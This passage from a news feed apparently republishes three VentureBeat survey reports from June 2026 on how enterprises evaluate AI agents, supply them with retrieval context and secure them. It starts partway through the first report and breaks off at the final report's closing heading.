    By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).

    At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.

    Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.

    Finding 1: A passing eval is not a working agent

    Half have shipped an agent that passed evals, then failed a customer

    We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.

    This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.

    Finding 2: Almost no one fully trusts automated evaluation

    The top complaint: Evals don't match real-world outcomes

    We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.

    Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.

    Finding 3: The autonomy ceiling is rising anyway

    Two-thirds already allow, or are building toward, zero-human deployment

    We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.

    Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.

    Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. 

    Finding 4: The evaluation stack is fragmented and provider-led

    Provider-native evals lead — tied with no dedicated tool at all

    We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.

    The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.

    Finding 5: Production monitoring rarely watches output quality

    Only a quarter run real-time quality checks on live traffic

    Production monitoring for an AI agent can watch two very different things. It can watch whether the system is functioning — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is correct — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.

    Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.

    Finding 6: Bought on cost, measured on consistency

    Price and integration drive selection; evaluation consistency is the goal

    We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.

    Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.

    Finding 7: The next dollar goes to humans and observability

    Investment is flowing to oversight, not just automation

    We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.

    The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing.

    Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.

    Finding 8: A tooling reshuffle is coming

    Nearly two-thirds plan to adopt or switch platforms within a year

    We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.

    The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint.

    Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.

    The bottom line: An evaluation gap that autonomy will widen, not close

    Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.

    The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.

    Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.

    ]]>         <![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]> https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/ https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/ Thu, 23 Jul 2026 19:19:42 +0200 📰 IT Nachrichten tsecurity.de Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.

    This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

    The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

    Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

    Methodology

    VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

    By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

    At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

    Finding 1: Confident and wrong

    More than half have traced agent errors to bad context

    We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

    This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

    The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

    Finding 2: RAG is the default context source

    Retrieval feeds more agents than any other method

    We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

    Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

    One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

    Finding 3: Provider-native retrieval already leads the vector databases

    OpenAI file search and vertex AI search top the dedicated tools

    We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

    The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

    The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

    Finding 4: But they say they want to keep best-of-breed

    A plurality resist consolidating onto a provider’s native stack

    We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

    Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

    Finding 5: Hybrid retrieval is the consensus bet

    Vector-only retrieval is already seen as insufficient

    We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

    The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

    Finding 6: The governed context layer is being built now

    Most run or are building a semantic layer — few in production

    We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

    The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

    Finding 7: Bought on ingestion and simplicity, watched for correctness

    Selection favors operability; monitoring favors correctness and security

    We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

    Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

    Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

    Finding 8: A retrieval reshuffle is coming

    A majority plan to change providers — and the vector specialists are gaining interest

    We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

    The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

    The bottom line: A context gap that more retrieval alone won’t close

    Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

    The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

    Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

    ]]>         <![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]> https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/ https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/ Thu, 23 Jul 2026 19:19:41 +0200 📰 IT Nachrichten tsecurity.de Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.

    This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.

    The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.

    What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.

    Methodology

    VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

    By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).

    At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.

    Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.

    Finding 1: The incidents are already here

    More than half have had an agent security incident or near-miss

    We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.

    This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.

    Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.

    Finding 2: The identity gap

    Only a third give every agent its own scoped identity

    We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.

    Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.)

    The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.

    Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.

    Finding 3: Observe and enforce, but rarely isolate

    Only three in 10 sandbox their highest-risk agents

    We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.

    Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.

    Finding 4: Security runs on borrowed, provider-native controls

    Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register

    We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.

    Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.

    The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.

    (A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)

    Finding 5: And enterprises are comfortable with it

    Satisfaction is high, even as incidents mount and identity lags

    We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.

    Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.

    Finding 6: Budgets haven’t caught up

    Most spend under a tenth of the security budget on agents

    We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.

    Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.

    Finding 7: The arms race is even, at best

    Only a third think their AI defenses are ahead of AI-enabled attackers

    We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.

    Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.

    Finding 8: A security reshuffle is coming

    Nearly six in 10 plan to adopt or switch tooling within a year

    We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.

    The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle.

    Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.

    The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. 

    What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.

    The bottom line: A security gap that autonomy will test first

